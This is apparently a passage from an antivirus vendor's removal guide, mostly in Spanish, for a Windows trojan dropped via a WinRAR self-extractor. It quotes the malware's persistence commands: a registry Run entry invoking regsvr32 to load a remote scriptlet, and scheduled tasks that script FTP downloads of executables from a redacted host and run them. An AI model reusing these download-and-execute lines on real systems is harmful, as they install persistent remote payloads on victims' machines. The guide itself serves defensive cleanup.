Técnica de inicio automático

Agrega las siguientes entradas de registro para permitir su ejecución automática cada vez que se inicia el sistema:

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run
start = "regsvr32 /u /s /i:http://js.{BLOCKED}e.info:280/v.sct scrobj.dll" /f

Otras modificaciones del sistema

Agrega las siguientes entradas de registro como parte de la rutina de instalación:

HKEY_CURRENT_USER\Software\WinRAR SFX

Agrega las siguientes entradas de registro:

HKEY_CURRENT_USER\Software\WinRAR SFX
C%%Windows%inf = "%Windows%\inf"

Rutina de infiltración

Infiltra los archivos siguientes:

  • %Windows%\inf\c3.bat
  • %Windows%\inf\n.vbs
  • %Windows%\inf\_tmp_rar_sfx_access_check_3196273

(Nota: %Windows% es la carpeta de Windows, que suele estar en C:\Windows o C:\WINNT).

Step 2

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Reiniciar en modo seguro

Step 5

Eliminar esta clave del Registro

[ learnMore ]

Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

  • In HKEY_CURRENT_USER\Software
    • WinRAR SFX

Step 6

Eliminar este valor del Registro

  • %Windows%\inf\n.vbs
  • %Windows%\inf\_tmp_rar_sfx_access_check_3196273

Step 8

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task Name: Mysa
  • Task to be run: "cmd /c echo open ftp.{BLOCKED}e.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe %Windows%\update.exe>>s&echo bye>>s&ftp -s:s&%Windows%\update.exe"
  • Task Name: Mysa1
  • Task to be run: "rundll32.exe %Windows%\debug\item.dat,ServiceMain aaaa"
  • Task Name: Mysa2
  • Task to be run: "cmd /c echo open ftp.{BLOCKED}e.info>p&echo test>>p&echo 1433>>p&echo get s.dat %Windows%\debug\item.dat>>p&echo bye>>p&ftp -s:p"
  • Task Name: Mysa3
  • Task to be run: "cmd /c echo open ftp.{BLOCKED}e.info>ps&echo test>>ps&echo 1433>>ps&echo get s.rar %Windows%\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&%Windows%\help\lsmosee.exe"
  • Task Name: ok
  • Task to be run: "rundll32.exe %Windows%\debug\ok.dat,ServiceMain aaaa

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
